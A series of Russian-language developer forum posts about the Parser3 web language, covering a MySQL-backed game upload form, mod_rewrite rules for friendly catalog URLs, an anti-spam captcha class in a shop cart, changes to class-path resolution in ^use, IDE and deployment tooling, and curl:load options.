В чем проблема была выяснить мне так и не удалось, хотя код я все-таки починила, перенеся его из внешнего games.p в index.html и переписав код по совету Ivan'a Sergeev'a(спасибо ему за это), получилось следующее\
[code]\
^load[]\
\
@load[]\
^connect[$mysqlconnect]{\
^insertString[]\
}\
\
@insertString[]\
^if(def $form:type && def $form:game_name && def $form:game.name && def $form:post){\
^void:sql{\
insert into a_books (catalog_rus, game_name, file_name) values ('$form:type', '$form:game_name', '$form:game.name')\
}\
^form:game.save[binary;/games/flash/$form:game.name]\
}\
<p>Выбери раздел для игры или создай новый</p>\
^catalogList[]\
\
\
@catalogList[]\
^connect[$mysqlconnect]{\
$gameList[^table::sql{select distinct catalog_rus from a_books}]\
}\
<form method=\"POST\" enctype=\"multipart/form-data\">\
^gameList.menu{\
<input type=\"radio\" name=\"type\" value=\"$gameList.catalog_rus\" />$gameList.catalog_rus\
}[<br />]\
<div style=\"font-size: 0.8em\">Новый раздел<br />\
<input name=\"type\" />\
</div>\
<div style=\"font-size: 0.8em\">Название игры<br />\
<input name=\"game_name\" />\
</div>\
<input type=\"file\" name=\"game\" /><br />\
<input type=\"submit\" value=\"Отправить\" name=\"post\" />\
</form>[/code]"
"75072","Спасибо за ценные рекомендации =)"
"75073","навык использования уже готового кода -- очень полезный :)\
\
в предлагаемом нет ничего сложного, т.к. есть тестовые файлики, в которых всё описано довольно подробно.\
\
хотя если это действительно была логическая ошибка, из-за чего ваш код вызывался дважды, то смысла прикручивать этот механизм нет."
"75074","Коль вы переместили код в один файл, немного учточнений под доработкам\
[code]\
\
# этот метод у вас будет запущен автоматически, поэтому ваш метод load уже несет чуть иной смысл\
@main[]\
\
^connect[$mysqlconnect]{\
  ^load[]\
}\
\
@load[]\
  ^insertString[]\
  ^catalogList[]\
\
@insertString[]\
^if(def $form:type && def $form:game_name && def $form:game.name && def $form:post){\
^void:sql{\
insert into a_books (catalog_rus, game_name, file_name) values ('$form:type', '$form:game_name', '$form:game.name')\
}\
^form:game.save[binary;/games/flash/$form:game.name]\
}\
\
# обратите внимание, что убран connect, он уже не нужен, тк соединение устанавливается при запуске (в main)\
@catalogList[]\
\
$gameList[^table::sql{select distinct catalog_rus from a_books}]\
\
<p>Выбери раздел для игры или создай новый</p>\
<form method=\"POST\" enctype=\"multipart/form-data\">\
^gameList.menu{\
<input type=\"radio\" name=\"type\" value=\"$gameList.catalog_rus\" />$gameList.catalog_rus\
}[<br />]\
<div style=\"font-size: 0.8em\">Новый раздел<br />\
<input name=\"type\" />\
</div>\
<div style=\"font-size: 0.8em\">Название игры<br />\
<input name=\"game_name\" />\
</div>\
<input type=\"file\" name=\"game\" /><br />\
<input type=\"submit\" value=\"Отправить\" name=\"post\" />\
</form>\
[/code]"
"75075","Появляется ошибка:\
[quote]/i/spec/ru/490/2011418146438276140_s.gif\
\
not GIF file - wrong signature\
\
/var/amargo/html/admin/auto/matrix.p(34:42)[/quote]\
когда скрипт доходит до строки:\
[code]^if(-f \"$href_s\"){$photo_s[^image::measure[$href_s]]}[/code]\
\
Переменная [b]$href_s[/b] содержит путь к картинке: [b]/i/spec/ru/490/2011418146438276140_s.gif[/b]\
\
С чем может быть связана эта проблема?"
"75078","т.е. сигнатура не соответствует расширению файла."
"75079","визуально тестовый файлик быстрее открывается на втором апаче, чем на связке nginx+fcgiwrap, хотя возможно это какие-то мои личные глюки. Памяти во втором случае уходит правда значительно меньше."
"75081","Добрый день!\
\
Проблема такая - привожу URL-ы к новому красивому виду, написал очередной внешний редиректор для RewriteMap, и он даже работает, да вот что-то правила в .htaccess только по одному работают..\
\
Редиректор выдаёт готовую строку вида ?cat=1&subcat=2$page=3, на вход его кормлю полями разделёнными '~'\
\
Логика такая (что хочу видеть как новый URL):\
/catalog/ - это все товары.\
/catalog/2 - это все товары, страница 2\
/catalog/tv - это товары раздела tv, все.\
/catalog/tv/3 - это товары раздела tv, страница 3.\
/catalog/tv/lcd - это товары раздела tv, подраздел lcd.\
/catalog/tv/lcd/4 - это товары раздела tv, подраздел lcd, страница 4.\
\
Название разделов и подразделов могут содержать '-' как часть имени\
страницы - только цифры. Может (или не может) быть конечный слэш '/'\
\
.htaccess что лежит в /catalog :\
\
[code]RewriteEngine On\
\
# parent category and sub cat of catalog - with page\
RewriteRule ^([\\w-]+)/([\\w-]+)/(\\d+)/?$ - [e=perm_name:$1~$2~$3]\
RewriteRule ^(.*)$  /oldver/catalog.phtml${catalog_static_url:%{ENV:perm_name}} [L]\
\
# parent category and sub cat of catalog - without page\
RewriteRule ^([\\w-]+)/([\\w-]+)/?$ - [e=perm_name:$1~$2~]\
RewriteRule ^(.*)$  /oldver/catalog.phtml${catalog_static_url:%{ENV:perm_name}} [L]\
\
# parent category  of catalog - with page\
RewriteRule ^([\\w-]+)/(\\d+)/?$ - [e=perm_name:$1~~$2]\
RewriteRule ^(.*)$  /oldver/catalog.phtml${catalog_static_url:%{ENV:perm_name}} [L]\
\
# parent category  of catalog - without page\
RewriteRule ^([\\w-]+)/?$ - [e=perm_name:$1~~]\
RewriteRule ^(.*)$  /oldver/catalog.phtml${catalog_static_url:%{ENV:perm_name}} [L]\
\
# just root of catalog - with page\
RewriteRule ^(\\d+)/?$  /oldver/catalog.phtml?pg=$1 [L]\
\
# just root of catalog\
RewriteRule ^$  /oldver/catalog.phtml [L]\
[/code]\
\
Пробовал:\
- Менять местами правила\
- Заменять \\d на [0-9], \\w на [a-z] и прочее шаманство\
- Ставить флаг s=100 рядом с L, типа, явно закончить.\
- Написал на perl прогу - ко всем url применяю шаблоны, U*P получилось, \"выстрелы\"  только в правильном месте были, чотко! :)\
 \
Подскажите, что не так?\
Какие тонкости у этого ... модуля?\
Заранее спасибо!"
"75082","Зачем «редиректор», зачем какие-то свои форматы на выходе mod_rewrite?\
\
[code]RewriteRule ^([\\w-]+)/([\\w-]+)/(\\d+)/?$ /index.html?cat=$1&subcat=$2&page=$3][/code]\
\
А index.html спокойно работает с переданными ему GET-параметрами формы:\
[code]$form:cat, $form:subcat, $form:page[/code]\
как будто его позвали как /index.html?cat=a&subcat=b&page=2"
"75084","Думаю, да.\
потому что спрашиваю сайт человеческим языком \"покажи мне /catalog/tv/lcd/2\"\
а apache выдаёт изнутри старую страницу, по-старому обращаясь, типа catalog.phtml?top=1&sub=2&page=1, где у категории \"1\" имя \"tv\", у субкатегории - \"lcd\", а страницу я и так подсчитаю...\
Т.е. я у базы спрашиваю обратную инфу - имя->код. Через несложный редиректор на C, что ищет в базе ответ, парметров у него максимум 3, поэтому слегка собираю строку с разделителями \"~\".\
\
Ранее, так и \"спрашивал\" сайтец - /catalog.phtml?top=1&sub=2&page=1\
Но надо сделать новый вид - с человеческими именами."
"75086","Одно из назначений mod_rewrite делать преобразование прозрачно.\
Сайт как принимал запрос в виде GET-параметров, так и продолжает это делать, задача mod_rewrite транслировать новый запрос в нужный вид.\
\
/catalog/tv/lcd/2 —> mod_rewrite —> catalog.html?cat=tv&sub=lcd&page=2\
\
Зачем вам «редиректор» для преобразования tv —> 1, если сам catalog.html, получив $form:cat = tv может достать из базы любое соответствие?\
По-моему это лишнее звено.\
Всё что нужно — написать необходимые правила для mod_rewrite и изменить формирование ссылок сайта на ЧПУ-вариант."
"75087","ну... что-бы не переделывать существующий код, который принимает cat=1 & Co, и при этом получить красивые url-ы такой подход конечно имеет право на жизнь, но по моему это баловство и лучше отложить создание красивых url-ов до более существенной переделки сайта, чтобы ради красоты не внедрять эту довольно таки рессурсоёмкую заплатку."
"75088","Верно, так и хочу - использовать старые наработки, не \"запиливая\" их. и создавая новые баги.\
А ресурсоёмкость... прога в 1 мб размером, более 50 преобразований в секунду  на стресс-тесте с выдачей страниц... меня это устраивает.\
\
\
Неужели никто ничего?"
"75089","Глюки-то не уйдут, пусть я буду так пилить или эдак, правил rewrite будет несколько, я не обладаю мега-скиллами по regexp-ам и не смогу написать в одну трансляцию:\
\
[quote]/catalog/ - это все товары.\
/catalog/2 - это все товары, страница 2\
/catalog/tv - это товары раздела tv, все.\
/catalog/tv/3 - это товары раздела tv, страница 3.\
/catalog/tv/lcd - это товары раздела tv, подраздел lcd.\
/catalog/tv/lcd/4 - это товары раздела tv, подраздел lcd, страница 4.[/quote]\
\
Проблема именно в НЕСКОЛЬКИХ последовательных правилах, по отдельности они работают как надо.\
\
Базовый мануал по Апачу недостаточен, примеры в сети односложные либо не такие как надо."
"75090","не уверен, что одним правилом это разрулить, т.к. одних regexp-ов тут недостаточно, ибо чтобы отличить /catalog/tv от /catalog/2 нужно ветвление в зависимости от того, что нашёл regexp.\
\
посмотрите в сторону ключа PT (вместо L).\
т.е. у вас будет срабатывать самое глубокое правило, оно будет отрезать один кусочек, добавлять его в query (не забываем про ключ QSA) и далее ключом PT всё будет отдаваться на обработку следующему правилу.\
\
P.S. ничего не рекомендовали т.к. не могли понять, зачем вам понадобилось идти на такие жертвы ради красоты.\
\
P.P.S. и не завидую я тому, кто потом будет поддерживать сайт, пытаясь понять, почему при обращении по /catalog/lcd/ он получает в $form:cat цифру 1, а /catalog/tv/ -- цифру 2 %-)"
"75091","Дело всё во флажке \"С\" - связать надо было правила.\
Ну и мелочи типа \"название категории не начинается с цифры\"\
Всё работает как надо, спасибо коллеги!\
\
[code]RewriteEngine On\
\
# parent category and sub cat of catalog - with page\
RewriteCond %{REQUEST_URI} ^/catalog/(\\D[\\w-]+)/(\\D[\\w-]+)/(\\d+)/?$\
RewriteRule . - [e=perm_name:%1~%2~%3,C]\
RewriteRule ^(.*)$  /oldver/catalog.phtml${catalog_static_url:%{ENV:perm_name}} [L]\
\
# parent category and sub cat of catalog - without page\
RewriteCond %{REQUEST_URI} ^/catalog/(\\D[\\w-]+)/(\\D[\\w-]+)/?$\
RewriteRule . - [e=perm_name:%1~%2~,C]\
RewriteRule ^(.*)$  /oldver/catalog.phtml${catalog_static_url:%{ENV:perm_name}} [L]\
\
# parent category  of catalog - with page\
RewriteCond %{REQUEST_URI} ^/catalog/(\\D[\\w-]+)/(\\d+)/?$\
RewriteRule . - [e=perm_name:%1~~%2,C]\
RewriteRule ^(.*)$  /oldver/catalog.phtml${catalog_static_url:%{ENV:perm_name}} [L]\
\
# parent category  of catalog - without page\
RewriteCond %{REQUEST_URI} ^/catalog/(\\D[\\w-]+)/?$\
RewriteRule . - [e=perm_name:%1~~,C]\
RewriteRule ^(.*)$  /oldver/catalog.phtml${catalog_static_url:%{ENV:perm_name}} [L]\
\
# just root of catalog - with page\
RewriteRule ^(\\d+)/?$  /oldver/catalog.phtml?pg=$1 [L]\
\
# just root of catalog\
RewriteRule ^$  /oldver/catalog.phtml [L]\
\
[/code]"
"75092","на предмет _последовательности_ выполнения инструкций:\
[code]\
RewriteCond %{REQUEST_URI} ^/catalog/(\\D[\\w-]+)/(\\D[\\w-]+)/(\\d+)/?$\
RewriteRule . - [e=perm_name:%1~%2~%3,C]\
RewriteRule ^(.*)$  /oldver/catalog.phtml${catalog_static_url:%{ENV:perm_name}} [L]\
[/code]\
\
если не ошибаюсь, то это будет работать примерно так:\
1. url совпадает с . ? да, делаем ваше e=..., не модифицируем url\
2. url совпадает с ^(.*)? ? да, выполняем модификацию\
3. url совпадает с ^/catalog/(\\D[\\w-]+)/(\\D[\\w-]+)/(\\d+)/?$ ? нет, выкидываем то, что насчитали и переходим к обработке последующих инструкций.\
\
т.е. лучше в RewriteRule написать то, что сейчас написано в RewriteCond (т.е. как можно более строго). в вашем случае, Cond, кажется вообще не нужен."
"75093","А по поводу суппортёра - данные из одной таблицы, где \"tv\" там и \"1\", никаких новых таблиц, только подпорка из редиректора.\
Не сможет разобраться ... научится, или будет другой, кто сможет.\
\
А перепись на новый формат конечно будет, с костылями же всю жизнь не ходят, верно?\
\
Спасибо!"
"75094","Проверил по-разному. Работает и два Rule со связкой.\
\"RewriteRule . ...\" последний можно тоже сделать ^(.*)$ - это остатки экспериментов.\
В моём случае с условием - проще править, только Cond.\
\
Думаю главное - связать правила(C). и вовремя остановиться(L)"
"75097","Доброго времени суток!\
Хочу использовать класс защты от спама в интернет магазине, т.е. заказ без регистрации. Пользователь выбрает товары, формирует корзину (работает JS код). после чего жмёт кнопку заказать, данные о выбраных товарах отправляются на страничку где пользователь проверяет заказ и потверждает.\
Но почемуто классу не нравиться когда пользователь жмёт кнопку ЗАКАЗАТЬ, ругается [quote]post данных, в которых напрочь отсутствует uid[/quote]\
Если перехожу по ссылке на страницу заказа, форма открывается, но данные формы не передаются...\
Код корзины:[code]\
<form method=\"post\" action=\"/order/index.html\">\
<div class=\"scCart\" id=\"sc_cart\">\
<div class=\"scCartList\" id=\"sc_cartlist\"><input type=\"hidden\" value=\"3\" name=\"rows\"><div><b>1.</b><input type=\"hidden\" value=\"192\" name=\"id_atr_1\"><input type=\"hidden\" value=\" 1 \" name=\"kol_1\"><input type=\"hidden\" value=\"182\" name=\"price_1\"><input type=\"hidden\" value=\" &quot;клоп&quot;- цинк острый 3.5х11 \" name=\"zname_1\"> \"клоп\"- цинк острый 3.5х11  На сумму:<b>182руб.</b> <input type=\"submit\" value=\"Убрать\" class=\"scItemButton scBtn\" ;=\"\" onclick=\"removeLotFromCart(0)\"></div><div><b>2.</b><input type=\"hidden\" value=\"141\" name=\"id_atr_2\"><input type=\"hidden\" value=\" 1 \" name=\"kol_2\"><input type=\"hidden\" value=\"121.6\" name=\"price_2\"><input type=\"hidden\" value=\"  Саморез по дереву 3.5х35 \" name=\"zname_2\">  Саморез по дереву 3.5х35  На сумму:<b>121.6руб.</b> <input type=\"submit\" value=\"Убрать\" class=\"scItemButton scBtn\" ;=\"\" onclick=\"removeLotFromCart(1)\"></div><div><b>3.</b><input type=\"hidden\" value=\"149\" name=\"id_atr_3\"><input type=\"hidden\" value=\" 1 \" name=\"kol_3\"><input type=\"hidden\" value=\"121.6\" name=\"price_3\"><input type=\"hidden\" value=\"  Саморез по дереву 4.2х76 \" name=\"zname_3\">  Саморез по дереву 4.2х76  На сумму:<b>121.6руб.</b> <input type=\"submit\" value=\"Убрать\" class=\"scItemButton scBtn\" ;=\"\" onclick=\"removeLotFromCart(2)\"></div></div>\
<div class=\"scCartListHead\">\
<table width=\"100%\"><tbody><tr>\
<td>\
<!-- Message Label -->\
<span id=\"sc_message\"></span></td>\
<td width=\"100px\">Итог:</td>\
<td width=\"120px\">\
<!-- Sub Total Label -->\
<span id=\"sc_subtotal\">424руб. <input type=\"hidden\" value=\"424\" name=\"full_price\"></span>\
</td>\
</tr></tbody></table>\
</div>\
<br>\
<input type=\"submit\" value=\"Заказать\" class=\"scBtn\" name=\"action\" style=\"width:200px; height:35px;float:right;\">\
</div>\
<script type=\"text/javascript\">\
reloadCart();\
var lot = [];\
lot[137] = [];\
lot[137][0] = \"146.4\";\
lot[137][1] = \"Саморез по дереву 3.5х16 \";\
lot[138] = [];\
lot[138][0] = \"146.4\";\
lot[138][1] = \" Саморез по дереву 3.5х19\";\
lot[139] = [];\
lot[139][0] = \"121.6\";\
lot[139][1] = \" Саморез по дереву 3.5х25\";\
lot[140] = [];\
lot[140][0] = \"121.6\";\
lot[140][1] = \" Саморез по дереву 3.5х32\";\
lot[141] = [];\
lot[141][0] = \"121.6\";\
lot[141][1] = \" Саморез по дереву 3.5х35\";\
lot[142] = [];\
lot[142][0] = \"121.6\";\
lot[142][1] = \" Саморез по дереву 3.5х41\";\
lot[143] = [];\
lot[143][0] = \"121.6\";\
lot[143][1] = \" Саморез по дереву 3.5х45\";\
lot[144] = [];\
lot[144][0] = \"121.6\";\
lot[144][1] = \" Саморез по дереву 3.5х51\";\
lot[145] = [];\
lot[145][0] = \"121.6\";\
lot[145][1] = \" Саморез по дереву 3.5х55\";\
lot[146] = [];\
lot[146][0] = \"121.6\";\
lot[146][1] = \" Саморез по дереву 3.8х64\";\
lot[147] = [];\
lot[147][0] = \"121.6\";\
lot[147][1] = \" Саморез по дереву 3.8х70\";\
lot[148] = [];\
lot[148][0] = \"121.6\";\
lot[148][1] = \" Саморез по дереву 4.2х70\";\
lot[149] = [];\
lot[149][0] = \"121.6\";\
lot[149][1] = \" Саморез по дереву 4.2х76\";\
lot[150] = [];\
lot[150][0] = \"121.6\";\
lot[150][1] = \" Саморез по дереву 4.2х89\";\
lot[151] = [];\
lot[151][0] = \"121.6\";\
lot[151][1] = \" Саморез по дереву 4.8х89\";\
lot[152] = [];\
lot[152][0] = \"121.6\";\
lot[152][1] = \" Саморез по дереву 4.8х95\";\
lot[153] = [];\
lot[153][0] = \"121.6\";\
lot[153][1] = \" Саморез по дереву 4.8х102\";\
lot[154] = [];\
lot[154][0] = \"127.3\";\
lot[154][1] = \" Саморез по дереву 4.8х127\";\
lot[155] = [];\
lot[155][0] = \"127.3\";\
lot[155][1] = \" Саморез по дереву 4.8х152\";\
</script>\
</form>\
[/code]\
\
В классе убрал бан пользователя, убрал на запрет перехода с посторонних URl, и разрешил неупомянутые поля\
[code]$.hFields[\
		^rem{ *** при отображении формы будем ругаться, если в form будут обнаружены не упомянутые в <form/> поля. по умолчанию -- true *** }\
		$.bRefuseUnknown(false)\
		^rem{ *** но мы можем перечислить не упомянутые в <form/> поля, которым разрешено приходить в form, хотя они отсутствуют в <form/> *** }\
#		$.tAllowed[^table::create{sName^#0Arequest^#0Alang}]\
	][/code]\
В логе:\
[code]TIME: 2011-04-21 03:37:35, METHOD: POST, URL: krep/order/index.html\
TYPE: exec [fail: AntispamTuringCaptcha|empty-uid|Empty UID] (4/5)\
FORM:    kol_1=' 1 ', action='Заказать', zname_1=' \"клоп\"- оксид острый 3.5х11 ', id_atr_1='191', rows='1', price_1='182', full_price='182'\
REFERER: 'http://krep/catalog/id_lot.html?id_lot=310'\
VISITOR: '127.0.0.1:NULL'\
AGENT:   'Mozilla/5.0 (Windows NT 5.1; rv:2.0) Gecko/20100101 Firefox/4.0'\
UID:  C4F40A78-3DF6-48D9-A1F8-08E2AA807BC6\
UIDS: -86712864-FC96-477A-9DC2-A0FDD77B09FE, F6A96BA2-F958-47F8-9749-0E323B218B5C, -DE886D3D-12A8-4679-9A8E-09E275442BBA, -DD1C55FE-258B-4A88-8AB7-E7FD3E8253B6\
[/code]"
"75098","вы бы код, что-ли показали (причем можно и код использования класса и html уже модифицированной формы).\
\
но вообще вижу странное: UID в логе есть, поэтому это сообщение мне кажется странным."
"75099","защищённая форма на странице отправки закза\
[code]	^oAntiSpam.print{\
		^rem{ *** xhtml формы. никаких дополнительных полей руками добавлять не нужно. *** }\
		<form method=\"post\">\
<fieldset><h2>Личные данные.</h2>\
	<b class=\"red\">*</b>Имя:&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;\
	<input type=\"text\" id=\"n\" name=\"name\" value=\"$form:fio\"/>\
	 <div class=\"coment\">Укажите контактное лицо.</div><div class=\"br\"></div>\
	 <b class=\"red\">*</b>E-mail:&nbsp^;&nbsp^;&nbsp^;&nbsp^; \
	<input type=\"text\" id=\"n\" name=\"email\" value=\"\"/>&nbsp^;&nbsp^;\
	<b class=\"red\">*</b>Телефон:<input type=\"text\" name=\"tel\" value=\"\" />\
	 <div class=\"coment\">Укажите реальный и действующий e-mail адрес и телефон.</div><div class=\"br\"></div>\
	<div class=\"br\" ></div>\
	<b class=\"red\">*</b>Адрес и дополнительная информация:<div class=\"br\" ></div><textarea name=\"adres\" cols=\"60\" rows=\"6\" ></textarea>	\
	<div class=\"br\" ></div> \
	<h2>Ваша корзина.</h2> \
<input type=\"hidden\" name=\"n_rows\" value=\"$form:rows\" />\
	<table class=\"order\" >\
<tr><td><b>№ п\\п</b></td><td><b>Наименование</b></td><td><b>Колл-во</b></td><td><b>Цена</b></td></tr>\
^for[i](1; $form:rows){\
<tr><td>$i</td><td><input name=\"zname_$i\" type=\"hidden\"  value=\"$form:zname_$i\" />$form:zname_$i</td>\
<td class=\"kol\">$form:kol_$i<input name=\"kol_$i\" type=\"hidden\" size=\"6\" value=\"$form:kol_$i\" /></td>\
<td><input name=\"price_$i\" type=\"hidden\"  value=\"$form:price_$i\" />$form:price_$i руб.</td></tr>\
}\
<tr><td colspan=\"4\"><b>Итого:</b> $form:rows (шт.)<input type=\"hidden\" value=\"$form:rows\" name=\"rows\"> \
<b>$form:full_price</b> руб.<input type=\"hidden\" name=\"full_price\" value=\"$form:full_price\" /></td></tr>\
</table>\
<div class=\"br\" ></div>	\
			<div ><label for=\"n\"><b class=\"red\">*</b>Введите текст, который видите на картинке:</label><br/><br/>\
			<img src=\"^oAntiSpam.getTuringTest[./captcha.html]\" border=\"1\" /><br/><input type=\"text\" name=\"result\" value=\"\" /></div>\
			<br/><div class=\"coment\">После того, как Вы заполнили данную анкету, отправьте её. </div>\
\
			^rem{ *** ВНИМАНИЕ! Класс меняет содержимое атрибута 'name', *** }\
			^rem{ *** поэтому вы не должны привязываться к нему в CSS/XSL и анализировать его после POST формы. *** }\
			^rem{ *** Анализируйте $form:uid например *** }\
			<input type=\"submit\" name=\"action\" value=\"Отправить\" class=\"class\" />\
</fieldset>\
</form>\
	}[/code]\
\
ругается вот на эту кнопку в корзине\
<input style=\"width:200px; height:35px;float:right;\" type=\"submit\" name=\"action\" class=\"scBtn\" value=\"Заказать\">\
не когда по ссылке перехожу защищённая форма отображается, а принажатии кнопки и action=\"/order/index.html\" воспринимает как спамера..."
"75100","у вас ведь метод exec не работает? и где его код?\
и я подумал, но html готовой формы (которая выдалась браузеру), всё-таки нужно посмотреть.\
\
\
[quote]\
ругается вот на эту кнопку в корзине\
<input style=\"width:200px; height:35px;float:right;\" type=\"submit\" name=\"action\" class=\"scBtn\" value=\"Заказать\">\
[/quote]\
круто, но ругань бывает очень разной.\
\
[quote]\
не когда по ссылке перехожу защищённая форма отображается, а принажатии кнопки и action=\"/order/index.html\" воспринимает как спамера...\
[/quote]\
не переведёте? я не понял сказанного.\
\
P.S. мелочь: два раза фигурирует 'id=\"n\"'. если будете навешивать JS -- ему поплохеет."
"75101","Для начала посмотрите сгенерированный код, показывает ли там 4 кнопки ), да и вообще наличие uid.\
Проверьте вложенность форм в хтмл коде."
"75102","Сначала была версия, которая работала и с WebStorm и с PhpStorm - но смысла было мало из-за невозможности создать под ними проект типа Parser Project.\
\
Мы обсуждали в компании плюсы и минусы WebStorm и решили просто платформу deployment'а портировать в плагин Parser'а (единственное преимущество перед IDEA на мой взгляд). Поэтому необходимость в прямой установке на WebStorm отпадает."
"75103","пусть в корне веб лежит такой test.p3 :\
\
[code]@main[]\
$MAIN:CLASS_PATH[^table::create{path\
/classes}]\
^use[test.p3]\
^functionFromTest[][/code]\
\
Если в папке /classes положить другой test.p3 с функцией functionFromTest внутри него, то вызвать эту функцию не получится. Парсер её не найдет т.к. подключит ещё раз файл test.p3 из корня, в котором естественно такой функции нет.\
\
Можно ли как-то этого избежать? Только переименованием файла в /classes?\
\
p.s. Parser/3.4.2b (compiled on amd64-unknown-freebsd8.2)\
в более ранних версиях такого вроде не было... или не замечал"
"75105","да, можно конечно...\
тут скорее вопрос в том что раньше файл сам себя не подключал\
обновился парсер (был Parser/3.4.1b) и стал подключать\
возможно пересобран с какими-то другими опциями\
хочется понять"
"75106","[quote]Подключаемые через @USE/^use[] классы сначала ищутся относительно текущего файла, в котором эти @USE/^use[] написаны.[/quote]"
"75107","О! проглядел, спасибо!\
\
Т.е. получается что раньше искалось в /classes и все было хорошо,\
а теперь ищется сначала в текущей папке и поскольку найдено,\
то в /classes уже не идет..."
"75108","Проекты не такие большие, да и способа для полноценного использования cvs, svn, git не нашел. Не удобно как-то получается, если все пишется локально, потом идет коммит, на сервере этот коммит ловится и что-то делается. Пока все это живет через winscp и notepad++, но понимаю, что мне этого мало ). Хочется IDE."
"75109","Именно об этой фиче в релиз я и говорил."
"75110","[quote]раньше файл сам себя не подключал. обновился парсер (был Parser/3.4.1b) и стал подключать[/quote]\
\
раньше была защита от повторного подключения файла.\
т.е. если сделать:\
[code]\
^use[file.p]\
^use[file.p]\
[/code]\
\
то второй вызов ничего делать не будет, т.к. файл уже бал загружен ранее (с @USE аналогично).\
\
НО. это работало только в случае указания абсолютно идентичных путей, например, в случае:\
[code]\
^use[file.p]\
^use[../classes/file.p]\
[/code]\
\
если file.p лежит в classes, то он подключался бы дважды (и дважды срабатывал-бы его @auto[], что может быть критично).\
\
теперь перед проверкой уже подключенности файла делается нормализация путей, и даже во втором случае файл file.p будет подключен один раз.\
\
до кучи добавили возможность искать подключаемый файл относительно того файла, в котором написан use (если путь указан без начального слэша, который, как все знают, у нас в этом месте означает document_root). это удобно, когда есть набор взаимосвязанных классов. их можно положить в один каталог (или в известную _им_ иерархию каталогов) и пользоваться этой новой фичей, не прописывая ничего в CLASS_PATH.\
\
\
но в вашем случае повторный вызов ^use[test.p3] раньше не срабатывал (причем некорректно, т.к. начального слеша нет, а CLASS_PATH мог измениться между вызовами, и в путях мог появиться другой файл с таким-же именем).\
\
ну и до кучи, если у вас в CLASS_PATH был прописал /, то при наличии двух файлов с одинаковыми именами в корне и рядом с файлом, откуда идёт подключение, теперь будет в первую очередь подключаться тот файл, который находится по пути относительно текущего.\
\
\
мы не стали писать про несовместимое изменение, т.к. не ожидали, что у кого-то вообще подобное встретиться. как видим -- мы были не правы :)"
"75111","А что мешает все перекодировать в utf8  или в cp1251. У себя на сайте все поставил на utf8 удобно и поисковики видят все нормально.\
Перекодировку можно сделать при помощи PHP Expert Editor, для жителей бывшего союза она бесплатная..."
"75112","Ситуация аналогична, только два типа ошибок .\
\
статичная версия\
parser2.cgi: relocation error: parser2.cgi: symbol errno, version GLIBC_2.0 not defined in file libc.so.6 with link time reference\
\
parser2_RH71.cgi: error while loading shared libraries: libmysqlclient.so.10: cannot open shared object file: No such file or directory\
\
в итоге какое решение Вы выбрали?"
"75114","Что имеется ввиду?\
IDE с нуля или плагина для IDEA? :)"
"75115","Вот это +)\
[quote]В планах на самое ближайшее будущее - сделать IDE ничуть не хуже PHPStorm и Zend Studio.[/quote]\
Опять же, очень хочется иметь возможность удаленных проектов через ftp|sftp. Для начинающих, да и для не больших сайтов это идеальный вариант."
"75116","[quote]Опять же, очень хочется иметь возможность удаленных проектов через ftp|sftp. Для начинающих, да и для не больших сайтов это идеальный вариант.[/quote]\
\
Стоит различать \"возможность удаленных проектов через ftp|sftp\" и \"мастер deployment'а\" (которым и отличается PhpStorm от WebStorm).\
\
Ведение проектов на удаленном ftp и sftp возможно и в IDEA (посмотрите Tools / Deployment). Лично я так и работаю на \"небольших\" проектах с опцией Automatic Upload.\
\
P. S. Хотя лично больше предпочитаю иметь git-репозиторий, к которому подключены удаленные ветки на development и production серверах и хуки, автоматически обновляющие удаленные директории при коммитах. Считаю эту схему наиболее профессиональной для крупных проектов, где ошибка в коде, пишущимся напрямую на ftp - недопустима."
"75117","И можете поделится, хуками?)."
"75118","[quote]А как вы решаете вопросы с SQL изменениями?[/quote]\
\
Миграциями.\
\
[quote]И можете поделится, хуками?).[/quote]\
\
В базовом варианте можете воспользоваться вот этим скриптом:\
https://github.com/dwr/git-deployment-hooks/blob/master/create-remote-git-repositories.sh\
\
Он создает и подключает development и production репозитории на соответствующих серверах и сам создает нужные хуки внутри."
"75119","Обнаружил баг в работе класса JsHttpRequest:\
Если страница с которой запускается скрипт находится во фрейме, и ее адрес отличается от родительского, то доступ к перенной top в javascript будет ограничен.\
И это ограничение приводит к появлению ошибки при запуске скрипта методом FORM. (тоесть загрузка файлов тут же отваливается)\
\
Исправить это можно так:\
\
В файле JsHttpRequest.js нужно заменить\
[code]\
top.JsHttpRequestGlobal=JsHttpRequest;\
[/code]\
\
на\
[code]\
try{\
top.JsHttpRequestGlobal=JsHttpRequest;\
}\
catch(e){}\
[/code]\
\
\
А в файле JsHttpRequest.p нужно заменить\
[code]\
top && top.JsHttpRequestGlobal && top.JsHttpRequestGlobal.dataReady^(\
[/code]\
\
на\
[code]\
var _JsHttpRequest^;\
try{\
	if(top && top.JsHttpRequestGlobal){\
		_JsHttpRequest = top.JsHttpRequestGlobal\
	}\
}\
catch(e){}\
\
if(!_JsHttpRequest && parent && parent.JsHttpRequest){\
	 _JsHttpRequest = parent.JsHttpRequest^;\
}				\
_JsHttpRequest && _JsHttpRequest.dataReady^(\
[/code]\
\
\
Как-то так... )))"
"75123","В компанию требуется программист хорошо знающий Parser 3.0 и cms на его основе. Работа в г.Москве, подробности при личном общении."
"75124","MacOS, Parser 3.4.1\
\
следующий код \
\
[code]\
$result[^curl:load[\
	$.url[...]\
	$.form[...]\
]]\
[/code]\
\
выдает ошибку \
\
load\
\
called with invalid option 'form'\
\
\
А в примерах form работает"
"75125","Что именно вы хотите сделать? Даже у libcurl (C) такой опции нет."
"75127","POST:\
\
^curl:load[\
…\
$.post(1)\
$.postfields[field1=^taint[uri]{$value1}&field2=^taint[uri]{$value2}]\
]\
\
GET можно передать прямо в uri параметрами"
"75128",">А в примерах form работает\
\
Не вижу никакого form в примерах curl:load. C file::load не путаете?"
"75129","[code]$file1[^curl:load[ \
      $.url[https://store.artlebedev.ru/login/] \
      $.form[ \
         $.Username[$form:login] \
         $.Password[$form:password] \
         $.btnSubmit[Войти] \
      ] \
   ]] [/code]"
"75131","При обращении к несуществующей переменной и указанной опции locals (не важно, в методе или всём классе) вызывается @GET_DEFAULT.\
\
Если же объявить локальную переменную с таким именем, то вызова не происходит.\
[code]@CLASS\
test\
\
@GET_DEFAULT[]\
default\
\
@undef1[][locals]\
1: $a\
\
@undef2[][a]\
2: $a\
\
\
^test:undef1[] -- 1: default\
^test:undef2[] -- 2: пусто[/code]\
Выглядит нелогичным."
"75132","да, выглядит не совсем логично. просто вызов GET_DEFAULT происходит при обращении к необъявленным переменным, а не неопределённым. в случае [a], эта переменная уже есть в scope локальных переменных.\
\
\
